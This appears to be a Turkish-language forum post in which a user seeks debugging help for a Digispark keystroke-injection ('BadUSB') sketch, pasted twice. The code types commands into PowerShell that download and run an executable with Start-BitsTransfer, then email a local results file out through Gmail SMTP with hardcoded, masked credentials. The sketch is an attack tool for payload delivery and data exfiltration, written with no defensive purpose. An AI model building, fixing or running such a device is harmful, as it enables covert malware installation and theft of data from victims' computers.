Merhaba. Kodu çalıştırdığım zaman kod 28. satırdan (DigiKeyboard.print("$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");) çalışıyor.
Win+r çalışıyor ama 28. komutdan başlayarak yazıyor.
Ama gmail mesaj gönderme kodlarını yorum satırına aldığım zaman üstdeki kodlar çalışıyor. Anlayan biri varsa yardım ede bilir mi ? (Kodda bir hata yok).
#define digi_us_en
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Start-BitsTransfer Sendy Transfer program.exe");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(15000);
DigiKeyboard.print("program.exe");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(10000);
DigiKeyboard.print("$EmailTo = '[email protected]' ");
DigiKeyboard.print("$EmailFrom = '[email protected]' ");
DigiKeyboard.print("$Subject = 'Xxxx'");
DigiKeyboard.print("$Body = 'Test Body'");
DigiKeyboard.print("$SMTPServer = 'smtp.gmail.com'");
DigiKeyboard.print("$filenameAndPath = 'C:\\Users\\results'");
DigiKeyboard.print("$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)");
DigiKeyboard.print("$attachment = New-Object System.Net.Mail.Attachment($filenameAndPath)");
DigiKeyboard.print("$SMTPMessage.Attachments.Add($attachment)");
DigiKeyboard.print("$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
DigiKeyboard.print("$SMTPClient.EnableSsl = $true");
DigiKeyboard.print("$SMTPClient.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'xxxxxxxx')");
DigiKeyboard.print("$SMTPClient.Send($SMTPMessage)");
DigiKeyboard.delay(500);
DigiKeyboard.print("exit");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
Win+r çalışıyor ama 28. komutdan başlayarak yazıyor.
Ama gmail mesaj gönderme kodlarını yorum satırına aldığım zaman üstdeki kodlar çalışıyor. Anlayan biri varsa yardım ede bilir mi ? (Kodda bir hata yok).
#define digi_us_en
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Start-BitsTransfer Sendy Transfer program.exe");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(15000);
DigiKeyboard.print("program.exe");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(10000);
DigiKeyboard.print("$EmailTo = '[email protected]' ");
DigiKeyboard.print("$EmailFrom = '[email protected]' ");
DigiKeyboard.print("$Subject = 'Xxxx'");
DigiKeyboard.print("$Body = 'Test Body'");
DigiKeyboard.print("$SMTPServer = 'smtp.gmail.com'");
DigiKeyboard.print("$filenameAndPath = 'C:\\Users\\results'");
DigiKeyboard.print("$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)");
DigiKeyboard.print("$attachment = New-Object System.Net.Mail.Attachment($filenameAndPath)");
DigiKeyboard.print("$SMTPMessage.Attachments.Add($attachment)");
DigiKeyboard.print("$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
DigiKeyboard.print("$SMTPClient.EnableSsl = $true");
DigiKeyboard.print("$SMTPClient.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'xxxxxxxx')");
DigiKeyboard.print("$SMTPClient.Send($SMTPMessage)");
DigiKeyboard.delay(500);
DigiKeyboard.print("exit");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
Son düzenleme:




